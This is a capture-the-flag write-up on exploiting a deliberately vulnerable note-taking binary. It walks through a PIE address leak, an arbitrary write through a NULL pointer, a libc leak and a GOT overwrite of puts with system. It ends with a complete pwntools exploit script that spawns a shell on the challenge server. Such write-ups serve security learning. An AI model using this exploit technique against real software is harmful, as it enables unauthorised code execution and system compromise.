well_known

Application Logic, Arbitrary Write, GOT Overwrite

Problem

This challenge is personally one of the most I’ve had in a while. Combining some techniques that I’ve previously learned while also learning new techniques and concepts in the way.

Description

Every pwn technique is just old and well known

nc 23.94.73.203 9898

tldr;
  1. Leaking and calculating base address bypassing PIE

  2. Exploiting vulnerable application logic

  3. Overwriting memory to contain /bin/sh string

  4. Leaking and calculating base address of Libc

  5. Overwriting GOT entry to gain shell

Solution

Analysis

Given a binary chall and libc, the first thing we will do is to check the binary type and its security implementation.

$ file chall    
chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, stripped

$ checksec --file=chall    
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable    FILE
No RELRO        Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols        Yes   1               3     chall

basic analysis summary:

  • x64 least-bit ELF binary

  • dynamically linked, so it’ll depend on system library

  • stripped, means function and variable name from the source code is not carried

  • No RELRO, means that the GOT entry table writeable

  • Stack Canary, which means there’s additional checks into each function calls if the stack is overflown

  • NX enabled, means the stack is not executable

  • PIE enabled, means that the base address of the program is randomized for each running processes

since by default the compiler will apply PARTIAL RELRO to the compiled binary, and indication of No RELRO here is a big hint that we’ll doing some GOT overwrite to solve this challenge

Next, let’s try to decompile the binary, below is the relevant code snippet that ghidra has decompiled and I’ve tidied up and renamed some of the function and variable names.

main()
void main(void){
  long in_FS_OFFSET;
  int choice;
  undefined8 local_10;
  choice = 0;
  load_banner();
  init();
  while( true ) {
    while( true ) {
      while( true ) {
        while( true ) {
          menu();
          __isoc99_scanf("%d",&choice);
          getc(stdin);
          if (choice != 3) break;
          show_note();
        }
        if (choice < 4) break;
        if (choice != 4) goto LAB_00101627;
        delete_note();
      }
      if (choice != 1) break;
      new_note();
    }
    if (choice != 2) break;
    edit_note();
  }
LAB_00101627:
  puts("Invalid option!");
  exit(0);
}

from this main() section, we get an idea that the program will loop over throughout its execution. Each loop will print out a banner and a menu displaying a function that the user can prompt with an input ranging from 1 to 4.

This menu() function simply prints out the menu and you might notice I have renamed one of the global variable with target which currently holds nothing. This will be relevant to our exploitation as I will explain later on.

new_note()
void new_note(void){
  note_addr = (char *)allocate_note();
  if (note_addr == (char *)0x0) {
    __printf_chk(1,"[!] Error, not enough memory");
  }
  else {
    __printf_chk(1,"Content: ");
    fgets(note_addr,256,stdin);
  }
  return;
}
allocate_note()
long allocate_note(void){
  long mem_address;
 
  mem_address = memory_address;
  if ((lower_bound != 0) && (upper_bound < 17)) {
    (&vmmap)[upper_bound] = memory_address;
    memory_address = memory_address + 0x100;
    lower_bound = lower_bound + -1;
    upper_bound = upper_bound + 1;
    return mem_address;
  }
  puts("Error: Not enough available memory.");
  return 0;
}

In this snippet, if the user prompts the program with the input of 1, it will allocate a new memory and store its address in note_addr global variable. Each time we request (or make a new note), it will allocate a new memory address + 0x100 of its previous memory. We can make up to 16 notes before it hits a limit and can’t allocate anymore memory. Note that there’s a check to the offset we gave so we won’t be able to give negative offsets.

show_note()
void show_note(void){
  if (note_addr == -1) {
    puts("No active note, create a new note in order to view it");
  }
  else {
    __printf_chk(1,"Content: %s");
  }
  return;
}

the show_note() function simply prints out the the content of the memory pointed by the note_addr global variable

edit_note()
void edit_note(void){
  int iVar1;
  long lVar2;
  long in_FS_OFFSET;
  long offset;
  long local_10;
 
  offset = 0;
  if (note_addr == -1) {
    __printf_chk(1,"[!] Create a note first");
  }
  else {
    __printf_chk(1,"Offset: ");
    __isoc99_scanf("%ld",&offset);
    getc(stdin);
    if (offset < 0) {
      puts("[!] Invalid offset.");
    }
    else {
      __printf_chk(1,"[*] You are editing the following part of the note at offset %ld:\n----\n");
      fwrite((void *)(offset + note_addr),1,0x10,stdout);
      puts("\n----");
      __printf_chk(1,"[>] New content(up to 16 chars): ");
      lVar2 = 0;
      do {
        iVar1 = getc(stdin);
        if ((char)iVar1 == '\n') break;
        *(char *)(lVar2 + note_addr + offset) = (char)iVar1;
        lVar2 = lVar2 + 1;
      } while (lVar2 != 0x10);
    }
  }
}

The edit_note() function allows us to write up to 16 bytes into an offset of our notes (pointed by note_addr). Before allowing us to write, it will also print out 16 bytes of the content of said offset.

delete_note()
void delete_note(void){
  __printf_chk(1,"[delete_note@%p] :: Not yet implemented\n",delete_note);
  return;
}

The delete_note() function simply is not implemented yet, however it leaks out its address, this will be beneficial for us to bypass the PIE since, even though the base address is randomized, the offset is always the same. Grabbing the offset from ghidra

we can calculate the offset to its base address using the following formula:

base_address = delete_note - offset

we can verify this in gdb-pwndbg:

Using the same technique, we can also calculate the address of note_addr to gain the address of out notes and monitor how it is evolved

note_addr = base_addr + offset

Exploitation

What comes to my mind the first time is to overwrite the GOT entries with a call to system(). However after comparing where the address of our notes starts with the address of the GOT….

we reveal that note starts at 0x00007ffff7fc2000 (using the same address and technique explained above) however the GOT is located around at 0x555555557000 which is way back, means that it requires us to give a negative offset which is not possible.

Next thing comes into my mind is to write into a memory both writable and executable however, as the vmmap shows, there’s no such memory section. Next is to overwrite the return pointer in the stack, that too is not possible since we didn’t get any stack base address leak. Next, I try to smash the notes by requesting as many notes until it hits its limit. And after inspecting what note_addr holds after we smash it, I found something very interesting…

Notice now the note_addr doesn't not point to anything. this is because if the allocate_note() function is unable to allocate more memory, it will return NULL, thus emptying the note_addr. This basically gains us arbitrary write to almost anywhere in the memory of the process including to the GOT because of this code in the edit_note() function:

*(char *)(lVar2 + note_addr + offset) = (char)iVar1;

and because note_addr is NULL, we can just supply our offset as the address we want to write to. Now our attack vector is clear, is to replace one of the library within GOT to the address system() with said library function is also calling one argument that we are also able to overwrite to /bin/sh.

We can figure this out by taking any first argument of any function that exists within got and try to calculate the address of its first argument by calculating the sum of the base address and its offset and locate which section it belongs to in the process memory by using vmmap. For example, I will be taking the first argument of the calls to puts() in show_note() function.

and as we can see the memory of said address falls under the section that is not-writable. Eventually we’ll found that the first call to puts() in the menu() function is using a memory that is writable, and that is exactly the global address of target that I briefly mentioned above. which also coincidentally is the first call to puts() after the edit function has returned. This is perfect since it avoids any potential error.

Next, since we want to overwrite the GOT puts with system(), we also need a leak for libc to calculate the libc base address. Thankfully upon calling the edit function and providing it with the address of GOT (calculated with the same technique explained above, base_address + the corresponding GOT function offset) it will also prints out its contents, leaking the libc puts() address.

new we can calculate the libc base address and the address to system with grabbing the offset by the machine libc provided in the challenge using the following:

libc_base = libc_puts - offset

libc_system= libc_base + offset

Great so to recap, our strategy is:

  1. gain base address by leaking the delete_note() function

  2. smash the note memory until it won’t be able to allocate more memory

  3. replace the contents of the target global variable with /bin/sh string

  4. edit the GOT puts, leaking libc puts(), calculate libc base address and libc system()

  5. replace the GOT puts entry with libc system()

  6. gain shell

Solve Script
Exploit.py
#!usr/bin/python3
from pwn import *

# =========================================================
#                          SETUP                         
# =========================================================
exe = './chall'
elf = context.binary = ELF(exe, checksec=True)
libc = './libc-2.31.so'
libc = ELF(libc, checksec=False)
context.log_level = 'debug'
host, port = '23.94.73.203', 9898

def start(argv=[]):
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process([exe] + argv)

gdbscript = '''
init-pwndbg
'''.format(**locals())

def new_note(content):
    io.sendlineafter(b'>>', b'1')
    io.sendline(content.encode())

def edit_note(offset, payload):
    io.sendlineafter(b'>>', b'2')
    io.sendlineafter(b':', str(offset).encode())
    io.sendafter(b'(up to 16 chars):', payload)

def show_note():
    io.sendlineafter(b'>>', b'3')

def delete_note():
    io.sendlineafter(b'>>', b'4')
    return int(io.recvuntil(b']')[14:-1], 16)

# =========================================================
#                         EXPLOITS
# =========================================================
io = start()
rop = ROP(exe)

# leaking addresses
leak = delete_note()
elf.address = leak - 0x11f9
note_ptr = elf.address + 0x3718

# initializing note and emptying address pointer to gain arbritrary write everywhere
for i in range(17):
    new_note('AAAA')
io.sendline(b'3')

# payload to leak got puts()
offset = elf.address + 0x3740
edit_note(offset, flat(elf.got['puts']))

# padding
io.sendline(b'3')

# receiving and formatting got puts address
got_puts = unpack(io.recvline()[:-1].strip().ljust(8, b'\x00'))

# payload to overwrite first puts in menu() parameter string to '/bin/sh'
offset = elf.address + 0x3740
edit_note(offset, flat(b'/bin/sh\x00'))

# padding
io.sendline(b'3')

# leaking libc puts function 
offset = elf.got['puts']
io.sendlineafter(b'>>', b'2')
io.sendlineafter(b':', str(offset).encode())
io.recvlines(2)
puts_func = unpack(io.recvline()[:6].ljust(8, b'\x00'))

# receiving and calculating libc offsets
libc.address = puts_func - 0x84420
system = libc.address +  0x52290    

# log address info
info('leak: %#x', leak)
info('main base: %#x', elf.address)
info('note ptr: %#x', note_ptr)
info('program binsh: %#x', elf.address + 0x3740)

# log libc findings
info('leaked got puts: %#x', got_puts)
info('libc base: %#x', libc.address)
info('system: %#x', system)
info('puts function: %#x', puts_func)

# sending last payload
io.sendafter(b'(up to 16 chars):', flat(system))

# gained shell?
io.interactive()

Flag

flag{wow_u_learn_a_lot}

*Indeed I learned very much a lot, thank you :3

Last updated